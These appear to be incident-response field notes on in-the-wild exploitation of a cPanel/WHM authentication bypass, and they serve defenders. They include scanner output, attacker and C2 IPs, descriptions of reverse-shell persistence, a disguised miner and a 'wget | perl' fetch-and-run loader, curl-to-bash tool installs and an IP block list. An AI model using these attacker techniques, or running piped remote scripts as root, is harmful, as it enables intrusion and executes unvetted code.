Field Notes: CVE-2026-41940 Exploitation in the Wild

The First Probe#

The earliest Pattern X event we have on disk lands on 2026-04-11 at 05:32 UTC. One IP, one host, the canonical badpass session shape: a session file written through saveSession() with a multi-line pass= field, an injected cp_security_token=/cpsess[N], and tfa_verified=1 without a real login. That is the bug working.

The probing was paced. Same IP would return on a different day, walk a small set of unrelated targets inside a six-hour window, then disappear. The targets had nothing in common except running a vulnerable cPanel/WHM version. This is not a scanner spraying the internet; this is an actor with a working primitive walking a target list.

Disclosure & Public CVE#

Day 17 reframes everything that came before. cPanel published KB 40073787579671 at 2026-04-28 17:05 UTC, filed only as an unauthenticated authentication bypass with no CVE assigned. The URL is publicly reachable but distributed through the providers KB feed, so in practice it landed as a vendor disclosure to providers, not a wide announcement.

The patched build shipped about four hours later, at 21:36 UTC (04:36 PM CT). That evening we reverse-engineered the build (see our reverse-engineering write-up) to recover the underlying primitive, then swapped the broad first-wave rules for primitive-aware WAF signatures and host posture changes.

CVE-2026-41940 and a working PoC from watchTowr Labs landed 27 hours after the KB, on 04-29 at 19:46 UTC. That 27-hour KB-to-PoC gap was the entire defensive window any provider had before commodity exploitation began.

Worked Kill Chain: One Host, One Day#

Wide shot first, then per-stage detail. The diagram below maps the campaign window across the 22 days of activity: phase ribbon (zero-day → vendor disclosure → public CVE tail), the upstream chain every confirmed compromise ran, the destructive variants we saw at the terminal stage, and the three operator-tell buckets. Click to zoom.

The most useful thing we can hand to another defender is a walked-through kill chain on a single compromised host, with the artifacts the on-host scanner surfaces at each stage. The sequence below is what sessionscribe-ioc-scan.sh recovered on a host that took the full chain; hostnames and account names are redacted, everything else is on-disk evidence. The collapsible block at the end has the raw sectioned report for the same host.

== version == cpanel -V vs published patched-build cutoffs
  [OK]    cpanel -V parsed: 11.130.0.18 (tier 130, build 18)
  [FAIL]  vendor cutoff for tier 130 is .19; this host is one build behind
  code_verdict: VULNERABLE

== patterns == static config-file patterns (ancillary; not CVE-driver)
  [OK]    /var/cpanel/cpanel.config: ProxyPass.cpanel = on
  [OK]    /etc/apache2/conf.d/modsec2.user.conf: 1500030 present
  [OK]    /etc/apache2/conf.d/modsec2.user.conf: 1500031 present

== cpsrvd == cpsrvd binary patch markers
  [WARN]  cpsrvd binary mtime predates vendor patch window
  [WARN]  filter_sessiondata symbol present; saveSession() path NOT routed
          through filter (matches pre-patch primitive)

== iocscan == access_log scan over 30d window
  [IOC]   192.81.219.190  badpass exploit  hits=14  2xx=11  ua=Go-http-client/1.1
  [IOC]   38.146.25.154   /json-api/createacct  hits=3   2xx=3   ua=Go-http-client/1.1
  [IOC]   192.81.219.190  /cpsess[REDACTED]/websocket/Shell?rows=24&cols=80
                          hits=2   ua=(none)
  [WARN]  attacker-IP traffic during recon-window (30d); escalates SUSPICIOUS

== sessions == session-store IOC ladder (vendor + CVE-2026-41940 ladder)
  scanned 47 session files under /var/cpanel/sessions/raw/
  [IOC]   [REDACTED].scribe : multi-line pass= field (CRLF injection)
  [IOC]   [REDACTED].scribe : token_denied=1 + injected cp_security_token=/cpsess[REDACTED]
  [IOC]   [REDACTED].scribe : origin_as_string=address=192.81.219.190,app=whostmgrd,method=badpass
  [IOC]   [REDACTED].scribe : tfa_verified=1 with no real login origin
  [ALERT] 4-of-4 CVE-2026-41940 co-occurrence on 1 session file
  [OK]    no PROBE_ARTIFACT canary; these are not from sessionscribe-remote-probe.sh
  host_verdict: COMPROMISED (1 session matches; 4-of-4 ladder)

== destruct == destruction IOC scan (Patterns A-J)
  [IOC]   Pattern D : /var/cpanel/accounting.log lines for sptadm reseller +
                     WHM_FullRoot CREATEAPITOKEN (timestamps 2026-04-30 06:18-06:21Z)
  [IOC]   Pattern G : 3 non-standard ssh-rsa keys in /root/.ssh/authorized_keys
                     mtime 2019-12-13 (forged), ctime 2026-04-30 06:14:22 (real)
  [IOC]   Pattern E : websocket Shell hit on 04-30 06:22Z, dimensions 24x80
  [IOC]   Pattern F : __S_MARK__/__E_MARK__ envelopes in /root/.bash_history
                     (15 wrapped commands, ~5h after stage 1)
  [IOC]   Pattern A : /root/sshd present
                     sha256 2fc0a056fd4eff5d31d06c103af3298d711f33dbcd5d122cae30b571ac511e5a
                     C2 reachability test (-Z dryrun): 68.183.190.253 reachable
  [OK]    Pattern B : no /var/lib/mysql/mysql removal
  [OK]    Pattern C : no nuclear.x86, no Mirai-family persistence
  [OK]    Pattern H : no seobot.php in any docroot
  [OK]    Pattern J : no udev RUN+= 'at now' shape, no non-allowlist systemd ExecStart

== probe == localhost marker probe
  [SKIP]  --probe not requested

==============================================================================
Summary matrix
  version  : VULNERABLE  (tier 130 .18 vs cutoff .19)
  cpsrvd   : VULNERABLE  (saveSession path not filtered)
  iocscan  : COMPROMISED (Pattern X attacker IP, Pattern E pivot)
  sessions : COMPROMISED (4-of-4 ladder match on 1 session file)
  destruct : COMPROMISED (Patterns D+E+F+G+A confirmed; Pattern B/C/H/J clean)
  probe    : SKIP

code_verdict : VULNERABLE
host_verdict : COMPROMISED  (compromised host can also be vulnerable;
                              patch + mitigate after IR cleanup)
exit code    : 4

Operator Profiles#

Three toolchain fingerprints share the upstream chain and the JSON-API recon toolkit. They diverge at the interactive stage (websocket Shell dimensions) and at the UA string. The strongest case for treating these as separate operators is behavioral, not signature-based: at least one host took two end-to-end kill chains in a 51-minute window with no shared session token between them. Dimensions and UA strings are spoofable, so the cards below are best read as tooling buckets we observed in the wild, not named-actor attribution. Behavioral co-occurrence (timing, sequencing, post-shell command patterns) is what promotes a tooling bucket to a defensible operator claim.

Pattern Catalog#

The thirteen patterns we are running detection against today. X is initial access; D / G / I / J are persistence; E / F are interactive; A / B / C / H / K / L are destructive terminal stages. The catalog is sequenced as the chain runs in the wild, not alphabetically. Two operational refinements landed this week: bare grep of nuclear.x86 in .bash_history is now a warning, not a compromise call (defender greps during incident verification dominate the FP class), and Pattern X alone with no follow-on stage is CLEAN, not “attempted” — post-disclosure the world is scanning, an unaccompanied access-primitive hit cannot gate operational action.

The Verdict-Engine Gap#

The most uncomfortable finding from the days after disclosure is architectural, not tactical. The on-host scanner is built around session-forensic evidence: the cpsrvd CRLF tells, the badpass markers, the cpsess[N]/websocket/Shell access lines, the harvester envelope. That answers “did Pattern X land here?” It does not answer “is the operator still here?” — and on a cohort that has been patched but is still running an attacker payload, the second question is the one that matters.

The runtime shapes that turn up are bigger than the IC-5790 catalog and predate it: GSocket reverse-shell persistence loops with ~/.config/htop/defunct.dat (and gs-dbus / lscgib mask variants) using prctl(PR_SET_NAME) to spoof the procname; xmrig camouflaged as ./.ld-linux.so (the dynamic linker is a library, never an executable) or running in plain sight at /root/c3pool/xmrig; a PHP cron-bot loader at /tmp/codeItems3 calling home to 45.140.17.40 with a per-host api: header; a wget URL/atdu | perl drive-by loader running concurrently across eight distinct cPanel users on a single hosting fleet; and one novel implant on host.snap-itservices.com holding ESTAB outbound to 209.14.84.37:1220 from a process whose comm field and argv[0] are different high-entropy strings — surfaced only because two envelope sources agreed on the same PID, which no per-implant rule could have caught.

The fix is architectural: a parallel runtime track scored from ps.txt, connections.txt, lsof.txt, and captured shell histories, with verdict logic upgraded to host_verdict = max(session, runtime). Wallet matches and C2-IP-in-ESTAB are zero-FP and gate COMPROMISED on first hit; keyfile paths on disk survive reboots better than ps and are the cheapest persistence catch in the runtime track. The proposal is in flight for the next scanner release.

The editorial point is broader than the scanner. Every post-disclosure write-up of CVE-2026-41940 stops at the entry vector. None of the public reporting talks about what was installed in the months before the patch landed. That is the single biggest reason hosts that scan CLEAN today should not yet be considered safe.

Sleeper Attacker: the Pre-Mitigation Window#

Three pre-disclosure exploitation events sit in the corpus before the canonical 2026-04-11 first probe: testdev.halcyonplatinum.com on 2025-11-25, host.quickfix17.com on 2025-12-22 (the 24×134 websocket-Shell dimension fingerprint, four months pre-CVE), and web04.guestreservations.com from 192.63.172.156 on 2026-03-10. They are the leading edge of an exploitation arc public reporting now places as far back as late February 2026; our own corpus pushes that window further left.

A host that scans CLEAN today, on a build that was vulnerable during the pre-mitigation window, is not the same kind of CLEAN as a host that was never reachable. The scanner's answer is correct — no persistence / execution / payload artifact remains — but a smash-and-grab operator who took the credentials and walked leaves no on-disk trace behind. The credentials themselves become the persistence vector, used later through legitimate auth that does not look like an attack.

The doctrine is not specific to CVE-2026-41940. Any management-plane bug with a months-long zero-day window produces the same shape: hosts where no artifact survives, but the operator left with everything. Naming the problem lets us tell the customer-comms story honestly without redefining CLEAN.

Cross-Provider Signal#

We've corroborated the upstream chain (Pattern X → D → E → F) against several peer providers running their own detection. The granular tells (operator dimensions, the harvester envelope, the reseller-as-persistence pattern) show up consistently, which is what gives us confidence the toolkit is shared.

What Worked, What Didn't#

A short, opinionated list. We're keeping this section generalizable: what would also be true for a similar incident tomorrow, not specifics about one provider's rollout.

Actionable: Validate, Defend, Block#

Three scripts cover the operational picture, each with a distinct role. Pick by what you need to answer:

sessionscribe-ioc-scan.sh: validate host state

Read-only by design. Sectioned report on stderr by default; structured JSON, JSONL stream, or single-row CSV available. Exit code is the highest-priority verdict observed (0 clean, 1 vulnerable, 2 inconclusive, 3 suspicious, 4 compromised).

# 1) on-host triage (sectioned report on stderr)
curl -s https://sh.rfxn.com/sessionscribe-ioc-scan.sh | bash

# 2) JSON envelope to file + JSONL stream for aggregation
bash sessionscribe-ioc-scan.sh -o /root/scan.json --jsonl --quiet > host.jsonl

# 3) tighten log/heuristic window for fast retriage (90 days)
bash sessionscribe-ioc-scan.sh --since 90 --verbose

# 4) single-row CSV summary (fleet-rollup friendly)
bash sessionscribe-ioc-scan.sh --csv > host.csv

sessionscribe-mitigate.sh: validate & enforce defensive posture

Idempotent. Writes timestamped backups of every mutated file under /var/cpanel/sessionscribe-mitigation/<TS>/. Default mode is --check (posture audit, no mutations); --apply mutates. Phases: snapshot, patch posture, preflight, upcp (if unpatched), proxysub enforcement, CSF scrub, APF scrub, runfw inspection, Apache check, modsec rules, session quarantine, optional remote-probe self-test.

# 1) read-only posture audit (no mutations)
curl -s https://sh.rfxn.com/sessionscribe-mitigate.sh | bash

# 2) full apply (run as root; ModSec rules + CSF/APF cpsrvd-port scrub +
#    proxysub enforcement + session quarantine into backup dir)
curl -s https://sh.rfxn.com/sessionscribe-mitigate.sh | bash -s -- --apply

# 3) selective phases (e.g. modsec only, no firewall mutations)
bash sessionscribe-mitigate.sh --apply --only modsec

# 4) JSONL output for fleet aggregation (Ansible/Salt/SSH-wrap)
bash sessionscribe-mitigate.sh --apply --jsonl --quiet > host.jsonl

# 5) revoke any sptadm reseller and the WHM_FullRoot API token
#    (mitigate.sh does not touch reseller state; do this manually)
whmapi1 listacct | grep -i sptadm
whmapi1 delacct user=sptadm
whmapi1 list_tokens | grep -i 'WHM_FullRoot\|not-applicable'
whmapi1 revoke_api_token token_name=<token>

sessionscribe-remote-probe.sh: fleet-level scan

Non-destructive remote verdict over the network. Sends a canary-tagged probe request and reads HTTP response codes plus a single redirect to determine SAFE vs VULNERABLE without actually exploiting. Pair with xargs -P or your fleet runner of choice for parallel sweeps. The canary attribute on the resulting session file is recognized by ioc-scan's PROBE_ARTIFACT bucket, so a probe sweep does not self-trigger compromise alerts on the targets.

# 1) probe a single host (non-destructive verdict by HTTP code)
curl -s https://sh.rfxn.com/sessionscribe-remote-probe.sh | bash -s -- --target host.example.com

# 2) parallel fleet sweep, JSONL out (16 concurrent probes)
xargs -a fleet.txt -P 16 -I {} \
  bash sessionscribe-remote-probe.sh --target {} --jsonl --quiet \
  >> fleet-probe.jsonl

# 3) verdict summary (after sweep)
jq -r '[.host, .verdict] | @tsv' fleet-probe.jsonl | sort -u | column -t

# 4) targets that came back VULNERABLE; pipe into per-host triage
jq -r 'select(.verdict=="VULNERABLE") | .host' fleet-probe.jsonl \
  | while read h; do
      ssh "$h" 'bash -s' < sessionscribe-ioc-scan.sh \
        --jsonl --quiet > "${h}.jsonl"
    done

Tier-1 attacker IPs (block today)

KB-known plus access-log 2xx success against the fleet. Both signals are observed at the IP level and are independent of host-verdict logic, so they survive any verdict-precision change in the scanner. Roles below are observed behavior in this corpus; treat as defensible attribution buckets, not named-actor attribution.

# Tier-1 IC-5790 attacker IPs. Run as root; auto-routes to whichever
# host firewall is present (csf preferred, apf next, iptables fallback).

IPS=(
  80.75.212.14    94.231.206.39    142.93.43.26     45.82.78.104
  206.189.2.13    157.245.204.205  136.244.66.225   68.233.238.100
  159.223.155.255 137.184.77.0     38.146.25.154    67.205.134.215
  206.189.227.202 192.81.219.190   146.19.24.235    149.102.229.144
  183.82.160.147  87.121.84.78     68.183.190.253   96.30.39.236
  45.92.1.188     87.121.84.243    67.205.166.246   64.91.249.4
  192.63.172.156  5.230.165.16     5.252.177.207    89.34.18.59
  147.182.224.216 45.140.17.40     45.140.17.23     157.245.235.139
  57.129.119.218  209.14.84.37
)
COMMENT="IC-5790-T1"

if command -v csf >/dev/null 2>&1; then
  for ip in "${IPS[@]}"; do csf -d "$ip" "$COMMENT"; done
elif command -v apf >/dev/null 2>&1; then
  for ip in "${IPS[@]}"; do apf -d "$ip" "$COMMENT"; done
else
  # No csf/apf; raw iptables fallback. Drops + persists via your distro's
  # iptables-save tooling (iptables-services, netfilter-persistent, etc.)
  for ip in "${IPS[@]}"; do
    iptables  -I INPUT -s "$ip" -j DROP -m comment --comment "$COMMENT"
    ip6tables -I INPUT -s "$ip" -j DROP -m comment --comment "$COMMENT" 2>/dev/null || true
  done
fi

Open Questions#

What's Next#

This is an active incident, not a closed one. The journal stays under continuous monitoring on three axes:

• Pattern surface. Patterns A through L are what we have today; L was added this week. The catalog will grow as new shapes surface. Anything that lands at the destructive terminal stage (new payload variant, new persistence wrapper, new second-stage backdoor) is on the lookout list, with the same single-letter naming carrying forward. We update this page when a new pattern earns its letter; section anchors stay stable so cross-references keep resolving.
• Sleeper monitoring. The pre-mitigation-window doctrine in the sleeper-attacker section governs every host that scans CLEAN today on a build that was vulnerable before 2026-04-28. We continue to track credential-rotation evidence (SSH key reissue, WHM_FullRoot token revocation, cluster-replication keypair cycling) on those hosts and to watch access-log traffic for the legitimate-looking auth signatures that follow a credentials walk-out. New pre-disclosure outliers go in the Tier-1 IP table as they surface.
• Verdict-gap monitoring. The 51-host runtime cohort surfaced by the verdict-engine gap walk on 2026-05-05 is a snapshot, not a stable list. We re-run the same hunt against the per-IP latest-envelope set on a rolling basis to track whether the gap shrinks as runtime-track scoring lands, whether new live-malware shapes appear, and whether the hosts that were CLEAN-rated in the snapshot get cleaned up or stay resident. Wallets, C2 IPs, and masquerade procnames accumulate in the pivot-indicator list as we find them.

The next field-notes entry follows when one of the three axes produces something operators can act on: a new pattern letter, a credentials-walk-out signature on a sleeper cohort, or a measurable shift in the verdict-gap population. Corroboration and new evidence welcome via GitHub issues on the source repo.

References#